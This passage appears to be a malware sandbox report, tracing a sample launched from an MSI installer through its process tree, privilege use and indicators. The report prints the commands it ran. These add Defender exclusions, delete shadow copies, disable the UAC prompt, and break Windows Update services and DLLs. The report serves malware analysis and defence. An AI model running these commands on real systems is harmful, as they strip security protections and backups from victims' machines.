5076	MsiExec.exe
5076	MsiExec.exe
5076	MsiExec.exe
5076	MsiExec.exe
5076	MsiExec.exe
5076	MsiExec.exe
5076	MsiExec.exe
5076	MsiExec.exe
5076	MsiExec.exe
5076	MsiExec.exe
5076	MsiExec.exe
5076	MsiExec.exe
5076	MsiExec.exe
5076	MsiExec.exe
5076	MsiExec.exe
5076	MsiExec.exe
5076	MsiExec.exe
5076	MsiExec.exe
5076	MsiExec.exe
5076	MsiExec.exe
5076	MsiExec.exe
5076	MsiExec.exe
5076	MsiExec.exe
5076	MsiExec.exe
5076	MsiExec.exe
5788	MNi2Nc.exe
5788	MNi2Nc.exe
5788	MNi2Nc.exe
5788	MNi2Nc.exe
5788	MNi2Nc.exe
5788	MNi2Nc.exe
5788	MNi2Nc.exe
5788	MNi2Nc.exe
5788	MNi2Nc.exe
5788	MNi2Nc.exe
5788	MNi2Nc.exe
5788	MNi2Nc.exe
5788	MNi2Nc.exe
5788	MNi2Nc.exe
5788	MNi2Nc.exe
5788	MNi2Nc.exe
5788	MNi2Nc.exe
5788	MNi2Nc.exe
5788	MNi2Nc.exe
5788	MNi2Nc.exe
5788	MNi2Nc.exe
5788	MNi2Nc.exe
5788	MNi2Nc.exe
5788	MNi2Nc.exe
5788	MNi2Nc.exe
5788	MNi2Nc.exe

Suspicious behavior: LoadsDriver 8 IoCs

pid	Process
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	5068	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5068	msiexec.exe
Token: SeSecurityPrivilege	5688	msiexec.exe
Token: SeCreateTokenPrivilege	5068	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	5068	msiexec.exe
Token: SeLockMemoryPrivilege	5068	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5068	msiexec.exe
Token: SeMachineAccountPrivilege	5068	msiexec.exe
Token: SeTcbPrivilege	5068	msiexec.exe
Token: SeSecurityPrivilege	5068	msiexec.exe
Token: SeTakeOwnershipPrivilege	5068	msiexec.exe
Token: SeLoadDriverPrivilege	5068	msiexec.exe
Token: SeSystemProfilePrivilege	5068	msiexec.exe
Token: SeSystemtimePrivilege	5068	msiexec.exe
Token: SeProfSingleProcessPrivilege	5068	msiexec.exe
Token: SeIncBasePriorityPrivilege	5068	msiexec.exe
Token: SeCreatePagefilePrivilege	5068	msiexec.exe
Token: SeCreatePermanentPrivilege	5068	msiexec.exe
Token: SeBackupPrivilege	5068	msiexec.exe
Token: SeRestorePrivilege	5068	msiexec.exe
Token: SeShutdownPrivilege	5068	msiexec.exe
Token: SeDebugPrivilege	5068	msiexec.exe
Token: SeAuditPrivilege	5068	msiexec.exe
Token: SeSystemEnvironmentPrivilege	5068	msiexec.exe
Token: SeChangeNotifyPrivilege	5068	msiexec.exe
Token: SeRemoteShutdownPrivilege	5068	msiexec.exe
Token: SeUndockPrivilege	5068	msiexec.exe
Token: SeSyncAgentPrivilege	5068	msiexec.exe
Token: SeEnableDelegationPrivilege	5068	msiexec.exe
Token: SeManageVolumePrivilege	5068	msiexec.exe
Token: SeImpersonatePrivilege	5068	msiexec.exe
Token: SeCreateGlobalPrivilege	5068	msiexec.exe
Token: SeBackupPrivilege	3328	vssvc.exe
Token: SeRestorePrivilege	3328	vssvc.exe
Token: SeAuditPrivilege	3328	vssvc.exe
Token: SeBackupPrivilege	5688	msiexec.exe
Token: SeRestorePrivilege	5688	msiexec.exe
Token: SeRestorePrivilege	5688	msiexec.exe
Token: SeTakeOwnershipPrivilege	5688	msiexec.exe
Token: SeRestorePrivilege	5688	msiexec.exe
Token: SeTakeOwnershipPrivilege	5688	msiexec.exe
Token: SeRestorePrivilege	5688	msiexec.exe
Token: SeTakeOwnershipPrivilege	5688	msiexec.exe
Token: SeBackupPrivilege	360	srtasks.exe
Token: SeRestorePrivilege	360	srtasks.exe
Token: SeSecurityPrivilege	360	srtasks.exe
Token: SeTakeOwnershipPrivilege	360	srtasks.exe
Token: SeBackupPrivilege	360	srtasks.exe
Token: SeRestorePrivilege	360	srtasks.exe
Token: SeSecurityPrivilege	360	srtasks.exe
Token: SeTakeOwnershipPrivilege	360	srtasks.exe
Token: SeRestorePrivilege	5688	msiexec.exe
Token: SeTakeOwnershipPrivilege	5688	msiexec.exe
Token: SeRestorePrivilege	5688	msiexec.exe
Token: SeTakeOwnershipPrivilege	5688	msiexec.exe
Token: SeRestorePrivilege	5688	msiexec.exe
Token: SeTakeOwnershipPrivilege	5688	msiexec.exe
Token: SeRestorePrivilege	5688	msiexec.exe
Token: SeTakeOwnershipPrivilege	5688	msiexec.exe
Token: SeRestorePrivilege	5688	msiexec.exe
Token: SeTakeOwnershipPrivilege	5688	msiexec.exe
Token: SeRestorePrivilege	5688	msiexec.exe
Token: SeTakeOwnershipPrivilege	5688	msiexec.exe
Token: SeRestorePrivilege	5688	msiexec.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
5068	msiexec.exe
5068	msiexec.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
5068	msiexec.exe
5688	msiexec.exe
5076	MsiExec.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5688 wrote to memory of 360	5688	msiexec.exe	95
PID 5688 wrote to memory of 5076	5688	msiexec.exe	97
PID 5788 wrote to memory of 3352	5788	MNi2Nc.exe	101
PID 5788 wrote to memory of 3948	5788	MNi2Nc.exe	103
PID 3948 wrote to memory of 6136	3948	cmd.exe	105
PID 3948 wrote to memory of 1120	3948	cmd.exe	107
PID 5788 wrote to memory of 2316	5788	MNi2Nc.exe	110
PID 3948 wrote to memory of 2540	3948	cmd.exe	112
PID 2316 wrote to memory of 2092	2316	cmd.exe	113
PID 2316 wrote to memory of 6080	2316	cmd.exe	114
PID 2316 wrote to memory of 2768	2316	cmd.exe	117
PID 5788 wrote to memory of 3480	5788	MNi2Nc.exe	119
PID 3480 wrote to memory of 2984	3480	cmd.exe	121
PID 3480 wrote to memory of 108	3480	cmd.exe	122
PID 4792 wrote to memory of 2716	4792	cmd.exe	123
PID 3480 wrote to memory of 4288	3480	cmd.exe	125
PID 5788 wrote to memory of 4860	5788	MNi2Nc.exe	127
PID 4860 wrote to memory of 4584	4860	cmd.exe	129
PID 4860 wrote to memory of 4672	4860	cmd.exe	130
PID 4860 wrote to memory of 560	4860	cmd.exe	132
PID 1228 wrote to memory of 5160	1228	cmd.exe	134
PID 4648 wrote to memory of 3432	4648	cmd.exe	135
PID 6084 wrote to memory of 5084	6084	cmd.exe	136
PID 5788 wrote to memory of 4944	5788	MNi2Nc.exe	137
PID 4944 wrote to memory of 264	4944	cmd.exe	139
PID 4944 wrote to memory of 360	4944	cmd.exe	140
PID 4944 wrote to memory of 4404	4944	cmd.exe	143
PID 3652 wrote to memory of 3232	3652	cmd.exe	144
PID 5788 wrote to memory of 4848	5788	MNi2Nc.exe	146
PID 4848 wrote to memory of 3852	4848	ZSTdYN.exe	149
PID 4848 wrote to memory of 2848	4848	ZSTdYN.exe	151
PID 4848 wrote to memory of 3416	4848	ZSTdYN.exe	153
PID 2848 wrote to memory of 5932	2848	cmd.exe	251
PID 4848 wrote to memory of 2340	4848	ZSTdYN.exe	157
PID 4848 wrote to memory of 4992	4848	ZSTdYN.exe	159
PID 4848 wrote to memory of 3944	4848	ZSTdYN.exe	160
PID 2340 wrote to memory of 1432	2340	cmd.exe	163
PID 4992 wrote to memory of 4816	4992	cmd.exe	164
PID 3944 wrote to memory of 5600	3944	cmd.exe	165
PID 5600 wrote to memory of 2536	5600	net.exe	166
PID 4848 wrote to memory of 964	4848	ZSTdYN.exe	167
PID 4992 wrote to memory of 5868	4992	cmd.exe	169
PID 3944 wrote to memory of 2068	3944	cmd.exe	170
PID 4848 wrote to memory of 4472	4848	ZSTdYN.exe	172
PID 964 wrote to memory of 724	964	cmd.exe	174
PID 4992 wrote to memory of 2472	4992	cmd.exe	175
PID 3944 wrote to memory of 4172	3944	cmd.exe	176
PID 4472 wrote to memory of 5548	4472	cmd.exe	177
PID 3944 wrote to memory of 4180	3944	cmd.exe	178
PID 4848 wrote to memory of 916	4848	ZSTdYN.exe	179
PID 4180 wrote to memory of 3756	4180	net.exe	180
PID 4472 wrote to memory of 5096	4472	cmd.exe	182
PID 3944 wrote to memory of 5692	3944	cmd.exe	184
PID 916 wrote to memory of 4544	916	cmd.exe	185
PID 4472 wrote to memory of 3972	4472	cmd.exe	186
PID 3944 wrote to memory of 3388	3944	cmd.exe	187
PID 4848 wrote to memory of 6064	4848	ZSTdYN.exe	188
PID 3944 wrote to memory of 2752	3944	cmd.exe	190
PID 2752 wrote to memory of 1768	2752	net.exe	191
PID 6064 wrote to memory of 1884	6064	cmd.exe	192
PID 3944 wrote to memory of 1772	3944	cmd.exe	269
PID 3944 wrote to memory of 5684	3944	cmd.exe	194
PID 4848 wrote to memory of 1112	4848	ZSTdYN.exe	195
PID 4848 wrote to memory of 4408	4848	ZSTdYN.exe	197

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	ZSTdYN.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\msiexec.exe
msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\setapp.m1.0.09.msi
1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:5068

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5688
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:360
- C:\Windows\System32\MsiExec.exe
  C:\Windows\System32\MsiExec.exe -Embedding CEEA192E7F5B21C588EC50BD8D80647C E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Badlisted process makes network request
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:5076

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:3328

C:\Users\Public\eNSVnq\MNi2Nc.exe
"C:\Users\Public\eNSVnq\MNi2Nc.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5788
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3352
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\eNSVnq\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3948
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\eNSVnq\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6136
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1120
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2540
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2316
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2092
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:6080
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2768
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3480
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2984
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:108
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4288
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4860
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4584
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4672
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4944
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:264
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:360
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4404
- C:\Program Files (x86)\ZSTdYN\ZSTdYN.exe
  "C:\Program Files (x86)\ZSTdYN\ZSTdYN.exe"
  2⤵
  - UAC bypass
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in Program Files directory
  - Enumerates video capture drivers
  - Event Triggered Execution: Screensaver
  - Reads the TCP/IP host and domain name from the registry
  - System Location Discovery: System Language Discovery
  - Checks processor information in registry
  - Modifies Control Panel
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:4848
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3852
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\ZSTdYN" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2848
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\ZSTdYN" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5932
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3416
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\ZSTdYN" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2340
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\ZSTdYN" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1432
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\ZSTdYN\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4992
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\ZSTdYN\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:4816
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5868
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:2472
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3944
  - - C:\Windows\SysWOW64\net.exe
      net stop wuauserv
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5600
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop wuauserv
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2536
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:2068
  - - C:\Windows\SysWOW64\sc.exe
      sc failure wuauserv reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:4172
  - - C:\Windows\SysWOW64\net.exe
      net stop UsoSvc
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4180
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop UsoSvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3756
  - - C:\Windows\SysWOW64\sc.exe
      sc config UsoSvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:5692
  - - C:\Windows\SysWOW64\sc.exe
      sc failure UsoSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:3388
  - - C:\Windows\SysWOW64\net.exe
      net stop uhssvc
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2752
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop uhssvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1768
  - - C:\Windows\SysWOW64\sc.exe
      sc config uhssvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:1772
  - - C:\Windows\SysWOW64\sc.exe
      sc failure uhssvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:5684
  - - C:\Windows\SysWOW64\net.exe
      net stop WaaSMedicSvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:992
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop WaaSMedicSvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3772
  - - C:\Windows\SysWOW64\sc.exe
      sc config WaaSMedicSvc start= disabled
      4⤵
      Launches sc.exe
      PID:4188
  - - C:\Windows\SysWOW64\sc.exe
      sc failure WaaSMedicSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:1552
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\WaaSMedicSvc.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5592
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5072
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3024
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4884
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\wuaueng.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2692
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2948
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1216
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4456
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:6136
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:1780
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
      4⤵
      PID:5268
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:1084
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\ZSTdYN" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:964
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\ZSTdYN" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:724
